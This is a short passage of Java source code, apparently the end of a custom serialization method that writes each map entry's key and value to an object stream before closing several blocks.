s.writeObject(e.key);
s.writeObject(e.value);
}
}
}
}
